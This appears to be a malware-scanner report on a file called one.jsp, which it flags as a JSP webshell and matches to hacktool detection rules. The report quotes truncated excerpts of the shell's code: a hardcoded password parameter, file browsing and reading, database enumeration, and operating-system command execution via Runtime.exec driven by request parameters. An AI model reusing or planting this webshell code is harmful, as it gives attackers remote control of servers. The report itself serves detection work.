Hostile ^92% Download

one.jsp

JSP webshell with command execution

Chinese Hacktool Set - file Customize.jspWeb shells - generated from file JSP.jsp

SHA-25637e6915c495d5330a76881164336a668cfdc3da0ad8f0d07ebf7864d1786163c

Evidence

JSP page combines request access with Runtime execution lines 1–4

1<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
2<%!
3String Pwd="s3ctesting";
4String EC(String s,String c)throws Exception{return s;}//new String(s.getBytes("ISO-8859-1"), …

Web shells - generated from file JSP.jsp lines 5–9

5:98… ()).newInstance();
6Connection c=DriverManager.getConnection(x[1].trim());if(x.length>2){c.setCatalog(x[2].trim());}return c;}
7void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i<r.length;i++){sb.append(r[i].toString().substring(0,2));}}
8void BB(String s,StringBuffer sb)throws Exception{File oF=new File(s),l[]=oF.listFiles();String sT, sQ,sF="";java.util.Date dt;
9SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");fo …

Chinese Hacktool Set - file Customize.jsp lines 30–34

30:5…  MM(InputStream is, StringBuffer sb)throws Exception{String l;BufferedReader br=new BufferedReader(new InputStreamReader(is));
31while((l=br.readLine())!=null){sb.append(l+"\r\n");}}
32void NN(String s,StringBuffer sb)throws Exception{Connection c=GC(s);ResultSet r=c.getMetaData().getCatalogs();
33while(r.next()){sb.append(r.getString(1)+"\t");}r.close();c.close();}
34void OO(String s,StringBuffer sb)throws Exception{Connection c=GC(s);S …

Java servlet request parameter access lines 43–50

43:4… tch(Exception ee){sb.append(ee.toString()+"\t|\t\r\n");}}m.close();c.close();}
44%><%
45String cs=request.getParameter("z0")+"";request.setCharacterEncoding(cs);response.setContentType("text/html;charset="+cs);
46String Z=EC(request.getParameter(Pwd)+"",cs);String z1=EC(request.getParameter("z1")+"",cs);String z2=EC(request.getParameter("z2")+"",cs);
47StringBuffer sb=new StringBuffer("");try{sb.append("->"+"|");
48if(Z.equals("A")){String s=new File(application.getRealPath(request.getRequestURI())).getParent();sb.append(s+"\t");if(!s.substring(0,1).equals("/")){AA(sb);}}
49else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
50while(( …

Java getRuntime call reference lines 54–57

54:134… pend("1");}
55else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);
56MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);}
57else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs, …